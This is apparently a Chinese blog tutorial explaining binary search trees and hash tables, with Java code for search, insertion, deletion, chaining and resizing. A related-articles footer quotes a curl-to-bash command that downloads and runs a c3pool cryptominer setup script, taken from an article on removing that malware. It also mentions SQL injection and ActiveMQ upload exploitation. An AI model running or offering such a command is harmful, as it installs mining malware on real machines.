搜索树, 哈希表

目录

 一. 搜索树

1.1 概念

1.2 操作1 查找

 1.3 操作2 插入

1.4 操作3 删除

1.5 性能分析

1.6 和 java 类集的关系

二.哈希表

2.1 概念

2.2 哈希冲突

2.3常见哈希函数

2.4 负载因子

2.5 闭散列

 2.6 开散列

 2.7 哈希表的实现

push 添加数据

getVal() 获取key对应的val值

2.8 性能分析

2.9 和 java 类集的关系


 一. 搜索树

1.1 概念

二叉搜索树又称二叉排序树,它或者是一棵空树,或者是具有以下性质的二叉树:

  • 若它的左子树不为空,则左子树上所有节点的值都小于根节点的值
  • 若它的右子树不为空,则右子树上所有节点的值都大于根节点的值
  • 它的左右子树也分别为二叉搜索树

1.2 操作1 查找

思路:

  1. 从根节点出发, 如果根节点大于val值, 说明要找的val小于根在根的左边, 所以cur = cur.left
  2. 如果根节点小于val值, 说明要找的val大于根在根的右边, 所以cur = cur.right
  3. 如果根节点等于val值, 说明找到了, 直接返回true
  4. 循环搜索下去, 直到cur == null停止, 说明找不到val值,返回false
 public boolean search(int val){
        TreeNode cur = root;
        while(cur != null){
            if(cur.val > val){
                cur = cur.left;
            }else if(cur.val < val){
                cur = cur.right;
            }else{
                return true;
            }
        }
        return false;
    }

 1.3 操作2 插入

思路:

  1. 如果是一颗空树, 直接将结点插入即可
  2. 找到合适的位置: 和查找的方法类似, 先循环找到该节点应该插入的位置, 如果根节点大于val值, cur = cur.left, 根节点小于val值, cur = cur.right, 根节点等于val值, 则直接返回, 因为搜索树是不允许有相同的节点的, 直到cur== null, 说明该节点应该插入在此
  3. 但是, 如果我们不知道此节点的父亲节点, 那么我们将没法插入, 所以我们要定义一个parent结点, parent始终等于cur的父亲节点
  4. 如果val值 < parent.val, 则插入到parent.left, 如果val值 > parent.val, 则插入到parent.right
public void insert(int val){
        if(root == null){
            root = new TreeNode(val);
            return;
        }
        TreeNode node = new TreeNode(val);
        TreeNode cur = root;
        TreeNode parent = null;
        while(cur != null){
            if(cur.val > val){
                parent = cur;
                cur = cur.left;
            }else if(cur.val < val){
                parent = cur;
                cur = cur.right;
            }else{
                return;
            }
        }
        if(parent.val > val){
            parent.left = node;
        }else{
            parent.right = node;
        }
    }

1.4 操作3 删除

思路:

设删除节点为cur, cur的父亲节点为parent

cur结点一共分为三种情况:

情况1. cur.left == null

cur.left == null时, 也分成三种情况:

        1)cur == root, 只需将root = cur.right

        2)cur ! =root && cur == parent.left, 将parent.left = cur.right

        3)cur ! =root && cur == parent.right, 将parent.right = cur.right

情况2. cur.right == null

cur.right == null时, 同样也分成三种情况:(与上面相对应)

        1)cur == root, 只需将root = cur.left

        2)cur ! =root && cur == parent.left,将parent.left = cur.left

        3)cur ! =root && cur == parent.right,将parent.right = cur.left

情况3. cur左右节点都不为空

当cur左右节点都不为空时, 我们采用的方法是替换法:

法一: 找到cur结点左子树的最大值, 将cur的值替换成这个值, 再将此结点删除

法二: 找到cur结点右子树的最小值, 将cur的值替换成这个值, 再将此结点删除

问题一:为什么要找左子树的最大值或右子树的最小值?

答:

上面这棵树, 删除15, 正常我们要找的14或20, 得到:

可以看到, 替换之后, 依旧满足搜索树的定义, 左子树都比根小, 右子树都比根大

如果我们选择11, 那么:

发现违背了搜索树的定义!

问题二:为什么要使用替换法?

答:假设我们使用法一, 因为此节点时左子树的最大值, 那么说明该节点没有右子树, cur.right == null, 那么删除该节点的方法就非常简单啦, 就是上面的第2种情况

思路(假设使用法一, 找左子树的最大值):

  1. 找到要删除的结点cur
  2. 找左子树最大值: 定义一个指针t, 令t = cur.left(因为我们要找左子树), 让t去找左子树的最大值, 即如果t有右子树, 则t = t.right, 直到t没有右子树
  3. 替换: 此时t为左子树的最大值, 将t.val = cur.val
  4. 删除: 还要定义一个tp, 使tp始终等于t的父亲节点, 就回到了情况2: 如果t == tp.left, tp.left = t.left ; 如果t == tp.right, tp.right = t.left
public void remove(int val){
        TreeNode cur = root;
        TreeNode parent = null;
        while(cur != null){
            if(cur.val > val){
                parent = cur;
                cur = cur.left;
            }else if(cur.val < val){
                parent = cur;
                cur = cur.right;
            }else{
                removeNode(parent,cur);
                return;
            }
        }
    }
    public void removeNode(TreeNode parent, TreeNode cur){
//情况1
        if(cur.left == null){
            if(cur == root){
                root = cur.right;
            }else if(cur == parent.left){
                parent.left = cur.right;
            }else if(cur== parent.right){
                parent.right = cur.right;
            }
//情况2
        }else if(cur.right == null){
            if(cur == root){
                root = cur.left;
            }else if(cur == parent.left){
                parent.left = cur.left;
            }else if(cur == parent.right){
                parent.right = cur.left;
            }
//情况3
        }else{
            TreeNode t = cur.left;
            TreeNode tp = cur;
            while(t.right != null){
                tp = t;
                t = t.right;
            }
            cur.val  = t.val;
            if(t == tp.right){
                tp.right = t.left;
            }else{
                tp.left = t.left;
            }
        }
    }

1.5 性能分析

插入和删除操作都必须先查找,查找效率代表了二叉搜索树中各个操作的性能。

对有n个结点的二叉搜索树,若每个元素查找的概率相等,则二叉搜索树平均查找长度是结点在二叉搜索树的深度的函数,即结点越深,则比较次数越多。

但对于同一个关键码集合,如果各关键码插入的次序不同,可能得到不同结构的二叉搜索树:

最优情况下,二叉搜索树为完全二叉树,其平均比较次数为:\log_{2}N

最差情况下,二叉搜索树退化为单支树,其平均比较次数为:N/2

问题:如果退化成单支树,二叉搜索树的性能就失去了。那能否进行改进,不论按照什么次序插入关键码,都可以是二叉搜索树的性能最佳?

答:AVL树(后续介绍)

1.6  java 类集的关系

(在下一篇博客介绍)

TreeMapTreeSet 即 java 中利用搜索树实现的 Map 和 Set;实际上用的是红黑树,而红黑树是一棵近似平衡的二叉搜索树,即在二叉搜索树的基础之上 + 颜色以及红黑树性质验证.

注意: 使用TreeMap和TreeSet时, 所插入的元素必须是可比较的

二.哈希表

2.1 概念

顺序结构以及平衡树 中,元素关键码与其存储位置之间没有对应的关系,因此在 查找一个元素时,必须要经过关键 码的多次比较 顺序查找时间复杂度为 O(N) ,平衡树中为树的高度,即 O(\log_{2}N
) ,搜索的效率取决于搜索过程中元素的比较次数。
理想的搜索方法:可以 不经过任何比较,一次直接从表中得到要搜索的元素 如果构造一种存储结构,通过某种函 (hashFunc) 使元素的存储位置与它的关键码之间能够建立一一映射的关系, 那么在查找时通过该函数可以很快 找到该元素
当向该结构中:
  • 插入元素

根据待插入元素的关键码,以此函数计算出该元素的存储位置并按此位置进行存放

  • 搜索元素

对元素的关键码进行同样的计算,把求得的函数值当做元素的存储位置,在结构中按此位置取元素比较,若关键码相等,则搜索成功

该方式即为哈希 ( 散列 ) 方法, 哈希方法中使用的转换函数称为哈希 ( 散列 ) 函数,构造出来的结构称为哈希表 (Hash Table)( 或者称散列表 )
例如:
数据集合 {1 7 6 4 5 9}
哈希函数设置为: hash(key) = key % capacity; capacity为存储元素底层空间总的大小

用该方法进行搜索不必进行多次关键码的比较,因此搜索的速度比较快

2.2 哈希冲突

问题:按照上述哈希方式,向集合中插入元素44 ,会出现什么问题?
不同关键字通过相同哈 希函数计算出相同的哈希地址,该种现象称为哈希冲突或哈希碰撞
首先,我们需要明确一点,由于我们哈希表底层数组的容量往往是小于实际要存储的关键字的数量的,这就导致一个问题,冲突的发生是必然的 ,但我们能做的应该是尽量的 降低冲突率
引起哈希冲突的一个原因可能是: 哈希函数设计不够合理

2.3常见哈希函数

1. 直接定制法 --( 常用 )
取关键字的某个线性函数为散列地址: Hash Key = A*Key + B
优点:简单、均匀
缺点:需要事先知道关 键字的分布情况
使用场景:适合查找比较小且连续的情况 
2. 除留余数法 --( 常用 )
设散列表中允许的 地址数为 m ,取一个不大于 m ,但最接近或者等于 m 的质数 p 作为除数,按照哈希函数: Hash(key) = key% p(p<=m), 将关键码转换成哈希地址
3. 平方取中法 --( 了解 )
假设关键字为 1234 ,对它平方就是 1522756 ,抽取中间的 3 227 作为哈希地址; 再比如关键字为 4321 ,对它平方就是18671041 ,抽取中间的 3 671( 710) 作为哈希地址 平方取中法比较适合:不知道关键字的分 布,而位数又不是很大的情况
4. 折叠法 --( 了解 )
折叠法是将关键字从左到右分割成位数相等的几部分 ( 最后一部分位数可以短些 ) ,然后将这几部分叠加求和,并按散列表表长,取后几位作为散列地址。
折叠法适合事先不需要知道关键字的分布,适合关键字位数比较多的情况
......
注意:哈希函数设计的越精妙,产生哈希冲突的可能性就越低,但是无法避免哈希冲突

2.4 负载因子

负载因子 = 填入表中元素的长度  /   哈希表的长度
Java系统库中限制了负载因子为0.75
负载因子和冲突率的关系粗略演示
所以当冲突率达到一个无法忍受的程度时,我们需要通过降低负载因子来变相的降低冲突率。
已知哈希表中已有的关键字个数是不可变的,那我们能 调整的就只有哈希表中的数组的大小。
解决哈希冲突 两种常见的方法是: 闭散列开散列

2.5 闭散列

闭散列:也叫开放定址法,当发生哈希冲突时,如果哈希表未被装满,说明在哈希表中必然还有空位置,那么可以 key 存放到冲突位置中的 下一个 空位置中去。 那如何寻找下一个空位置呢?
1. 线性探测
从发生冲突的位置开始,依次向后探测,直到寻找到下一个空位置为止。
比如上面的场景,现在需要插入元素 44 ,先通过哈希函数计算哈希地址,下标为 4 ,因此 44 理论上应该插在该位置,但是该位置已经放了值为4 的元素,即发生哈希冲突。

插入:

  • 通过哈希函数获取待插入元素在哈希表中的位置
  • 如果该位置中没有元素则直接插入新元素,如果该位置中有元素发生哈希冲突,使用线性探测找到下一个空位置,插入新元素
  • 采用闭散列处理哈希冲突时,不能随便物理删除哈希表中已有的元素,若直接删除元素会影响其他元素的搜索。比如删除元素4 ,如果直接删除掉, 44 查找起来可能会受影响。因此线性探测采用标记的伪删除法来删除一个元素。

 2. 二次探测

线性探测的缺陷是产生冲突的数据堆积在一块,这与其找下一个空位置有关系,因为找空位置的方式就是挨着往后逐个去找,因此二次探测为了避免该问题,找下一个空位置的法为:Hi = (H0+ i^2)% m, 或者:Hi = (H0 -  i^2)% m。
其中: i = 1,2,3… ,i是冲突的次数
H0是通过散列函数 Hash(x) 对元素的关键码 key 进行计算得到的位置,
m 是表的大小。
对于 2.1 中如果要插入 44 ,产生冲突,使用解决后的情况为:
H1 = (4 + 1^2) % 10 = 6, 再次冲突
H2 = (4 + 2^2) % 10 = 8 不冲突, 放入
研究表明:当表的长度为质数且表装载因子 a 不超过 0.5 时,新的表项一定能够插入,而且任何一个位置都不会被探查两次。因此只要表中有一半的空位置,就不会存在表满的问题。在搜索时可以不考虑表装满的情况,但在插入时必须确保表的装载因子a 不超过 0.5 ,如果超出必须考虑增容。
因此:闭散列最大的缺陷就是空间利用率比较低,这也是哈希的缺陷。

 2.6 开散列

开散列法又叫链地址法 ( 开链法 ) ,首先对关键码集合用散列函数计算散列地址,具有相同地址的关键码归于同一子集合,每一个子集合称为一个桶,各个桶中的元素通过一个单链表链接起来,各链表的头结点存储在哈希表中。

 从上图可以看出,开散列中每个桶中放的都是发生哈希冲突的元素。

开散列,可以认为是把一个在大集合中的搜索问题转化为在小集合中做搜索了。

冲突严重时的解决方法:

刚才我们提到了,哈希桶其实可以看作将大集合的搜索问题转化为小集合的搜索问题了,那如果冲突严重,就意味着小集合的搜索性能其实也时不佳的,这个时候我们就可以将这个所谓的小集合搜索问题继续进行转化,例如:
1. 每个桶的背后是另一个哈希表
2. 每个桶的背后是一棵搜索树, java中就是以这种方式进行组织的 

 2.7 哈希表的实现

(开散列)

规则:

  先做好准备工作, 定义好结点, 数组, usedSize, 负载因子

public class HashBuck {

    public class Node{
        public int key;
        public int val;
        public Node next;

        public Node(int key, int val) {
            this.key = key;
            this.val = val;
        }
    }
    public Node[] arr = new Node[10];
    public int usedSize;
    public static final double LOAD_FACTOR = 0.75;
    
}

push 添加数据

思路:

  1.  首先找到添加数据的位置index
  2. 创建结点node
  3. 定义一个cur去遍历链表, 如果有和key重复的, 就更新val值, 直到cur == null
  4. 假设我们使用头插法进行插入, 因为arr[index]中存放的是链表第一个元素的地址, 所以将node.next = arr[index], 然后再将arr[index] = node, 插入成功usedSize++
  5. 此时需要判断负载因子是否超过了0.75, 如果超过需要扩容, 方法为reSize()

reSize():

  1. 重新定义一个数组newArray, 将数组的长度定为arr.length*2
  2. 用cur遍历原数组arr, 将原数组中所有的数重新添加到newArray, 找到cur在新数组的下标, 直接进行头插法, 但需要用curNext记录cur.next的值, 因为头插法会修改cur.next, 直到cur == null, 继续遍历数组下一个下标
  3. 最后将新数组赋给原数组

代码:

public void push(int key,int val){
        Node node = new Node(key,val);
        int index = key % arr.length;
        Node cur = arr[index];
        while(cur != null){
            if(cur.key == key){
                cur.val = val;
                return ;
            }
            cur = cur.next;
        }
        node.next = arr[index];
        arr[index] = node;

        usedSize++;
        if(doLoadFactor() >= LOAD_FACTOR){
            reSize();
        }
    }
    private double doLoadFactor(){
        return usedSize*1.0 / arr.length;
    }
    private void reSize(){
        Node[] newArray = new Node[arr.length * 2];
        for (int i = 0; i < arr.length; i++) {
            Node cur = arr[i];
            while(cur != null){
                int index = cur.key % newArray.length;
                Node curNext = cur.next;
                cur.next = newArray[index];
                newArray[index] = cur;
                cur = curNext;
            }
        }
        arr = newArray;
    }

getVal() 获取key对应的val值

思路:

  1. 找到key对应的index值
  2. 定义cur遍历链表, cur.key == key, 返回val, 直到cur == null
  3. 找不到返回-1

代码:

public int getVal(int key){
        int index = key % arr.length;
        Node cur = arr[index];
        while(cur != null){
            if(cur.key == key){
                return cur.val;
            }
            cur = cur.next;
        }
        return -1;
    }

2.8 性能分析

虽然哈希表一直在和冲突做斗争,但在实际使用过程中,我们认为哈希表的冲突率是不高的,冲突个数是可控的,也就是每个桶中的链表的长度是一个常数,所以,通常意义下,我们认为哈希表的插入/删除/查找时间复杂度是 O(1)

2.9  java 类集的关系

(在下一篇博客介绍)

1. HashMap 和 HashSet 即 java 中利用哈希表实现的 Map 和 Set

2. java 中使用的是哈希桶方式解决冲突的

3. java 会在冲突链表长度大于一定阈值后,将链表转变为搜索树(红黑树)

4. java 中计算哈希值实际上是调用的类的 hashCode 方法,进行 key 的相等性比较是调用 key 的 equals 方法。所以如果要用自定义类作为 HashMap 的 key 或者 HashSet 的值,必须覆写 hashCode equals ,而且要做到 equals 相等的对象,hashCode 一定是一致的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/547523.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SQL注入sqli_labs靶场第十七题

B站教学视频很详细 【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili 我将SQL语句在页面中显示&#xff0c;以便更深入学习。 1.寻找注入点 修改密码的一个页面。 输入正确的账号密码&#xff0c;可以看到&#xff0c;账号为admin&#xf…

【学习笔记PPT摘录】lan.289.24.4-15

1.纪念品分组.双指针-01 #include <bits/stdc.h> using namespace std;int A[40000];// 纪念品价值均衡// 把购来的纪念品进行分组 之和不超过整数 w// 每组只能有两个纪念品 希望分组的数目要少// 贪心的策略就是 每个较大的数找到一个 最大的较小的数使其能够小于w// n…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…

[docker] 核心知识 - 概念和运行

[docker] 核心知识 - 概念和运行 之前 docker 学了个开头就去搞项目去了&#xff0c;不过项目也开展了好久了&#xff0c;前端差不多吃透了&#xff0c;有些新功能需要用 docker 和 k8s……是时候重新学习一下了。 这一部分简单的过一下概念和讲一下怎么运行 docker 镜像和启…

[Linux][基础IO][二][缓冲区][理解文件系统]详细解读

目录 1.缓冲区0.缓冲区的刷新策略1.何为缓冲区&#xff1f;2.总结 2.理解文件系统0.文件元数据1.了解文件系统 --> 理解inode2.软硬链接 1.缓冲区 0.缓冲区的刷新策略 一般情况 立即刷新行刷新(行缓冲)满刷新(全缓冲) 特殊情况 用户强制刷新(fflush)进程退出 所有的设备&a…

JavaSE图书管理系统实战

代码仓库地址&#xff1a;Java图书管理系统 1.前言 该项目将JavaSE的封装继承多态三大特性&#xff0c;使用了大量面向对象的操作&#xff0c;有利于巩固理解 &#xff08;1&#xff09;实现效果 2.实现步骤 第一步先把框架搭建起来&#xff0c;即创建出人&#xff1a;管理员和…

《系统架构设计师教程(第2版)》第9章-软件可靠性基础知识-04-软件可靠性设计

文章目录 1. 容错设计技术1.1 恢复块设计1.2 N版本程序设计1.3 冗余设计 2. 检错技术3. 降低复杂度设计4. 系统配置中的容错技术4.1 双机热备技术4.1.1 双机热备模式4.1.2 双机互备模式4.1.3 双机双工 4.2 服务器集群技术 1. 容错设计技术 1.1 恢复块设计 恢复块设计 选择一组…

华为框式交换机S12700E系列配置CSS集群

搭建集群环境 a.为两台交换机上电&#xff0c;按照数据规划分别对两台框式交换机进行配置 <HUAWEI> system-view [HUAWEI] sysname Switch1 [Switch1] set css id 1 [Switch1] set css priority 150 //框1的集群优先级配置为150 [Switch1] interface css-port 1 [Sw…

MinGW与Cygwin傻傻分不清楚

MinGW&#xff08;Minimalist GNU for Windows&#xff09;和Cygwin是两个在Windows平台上广泛使用的开发工具&#xff0c;它们各自具有不同的特点和适用场景。 MinGW 的主要方向是让GCC的Windows移植版能使用Win32API来编程。MinGW几乎支持所有的Win32API。 Cygwin 的主要方…

使用 Rust 和 DDD 构建 API 服务器

Introduction 介绍 I tried implementing an API server using Rust and the Axum framework. 我尝试使用 Rust 和 Axum 框架实现 API 服务器。 Target Audience 本文受众 Those who want to implement an API server with Rust. 那些想要用 Rust 实现 API 服务器的人。Those w…

2024年山东三支一扶考试报名照片要求

2024年山东三支一扶考试报名照片要求

(九)C++自制植物大战僵尸游戏自定义对话框的实现

植物大战僵尸游戏开发教程专栏地址http://t.csdnimg.cn/m0EtD 对话框在游戏的交互中非常重要。在游戏中&#xff0c;对话框不仅可以提醒用户下达任务指令&#xff0c;而且还可以让用户进行操作&#xff0c;自定义游戏中的各种属性。对话框在游戏的交互中非常常见且大量使用。Co…

开源相机管理库Aravis例程学习(三)——注册回调multiple-acquisition-callback

开源相机管理库Aravis例程学习&#xff08;三&#xff09;——回调multiple-acquisition-callback 简介例程代码arv_camera_create_streamArvStreamCallbackTypeArvStreamCallback 简介 本文针对官方例程中的&#xff1a;02-multiple-acquisition-callback做简单的讲解。 ara…

[已解决]问题:root.users.hdfs is not a leaf queue

问题&#xff1a;root.users.hdfs is not a leaf queue CDH集群报错&#xff1a; Exception in thread “main” org.apache.hadoop.yarn.exceptions.YarnException: Failed to submit application_1713149630679_0005 to YARN : root.users.hdfs is not a leaf queue 思路 …

ActiveMQ 任意文件上传漏洞复现

一、使用弱口令登陆 ​ 访问 http://ip:8161/admin/ 进入admin登陆页面&#xff0c;使用弱口令登陆&#xff0c;账号密码皆为 admin&#xff0c;登陆成功后&#xff0c;headers中会出现验证信息 ​ 如&#xff1a; Authorization: Basic YWRtaW46YWRtaW4 # 二、利用PUT协议上…

个人投资理财入门

1.简单而言&#xff0c;所谓个人理财&#xff0c;是为了实现个人的人生目标和理想而制订、安排、实施和管理一个各方面总体协调的财务计划的过程。更加直白点儿说&#xff0c;理财就是打理钱财&#xff0c;就是赚钱、省钱、花钱之道。 2.根据经济学上的定义&#xff0c;投资是指…

Unity AR开发环境搭建

在这个项目中使用 Unity 2022.3.19。 AR项目建议使用2022.3及以上版本。 创建一个 3D URP 项目并将其命名为 Magicbox-AR。 注意&#xff1a;如果计划发布 iOS 版 AR 项目&#xff0c;则必须有权使用 Mac 进行最终构建。Windows 计算机无法为 iOS 设备构建最终产品。 项目创建…

[ROS 系列学习教程] 建模与仿真 - URDF 语法介绍

ROS 系列学习教程(总目录) 本文目录 一、robot标签二、link标签三、joint标签 URDF文件中使用XML格式描述的机器人模型&#xff0c;下面介绍URDF的XML标签。 一、robot标签 机器人描述文件中的根元素必须是robot&#xff0c;所有其他元素必须封装在其中。 属性 name&#x…

Springboot引入外部jar包并打包jar包

前言 spring boot项目开发过程中难免需要引入外部jar包&#xff0c;下面将以idea为例说明操作步骤 将需要的jar包导入到项目中 2.在maven中引入jar包 <dependency><groupId>com</groupId><!--随便填的文件夹名称--><artifactId>xxx</artif…

【C++学习】C++4种类型转换详解

这里写目录标题 &#x1f680;C语言中的类型转换&#x1f680;为什么C需要四种类型转换&#x1f680;C强制类型转换&#x1f680;static_cast&#x1f680;**reinterpret_cast**&#x1f680;const_cast与volatile&#x1f680;dynamic_cast &#x1f680;C语言中的类型转换 在…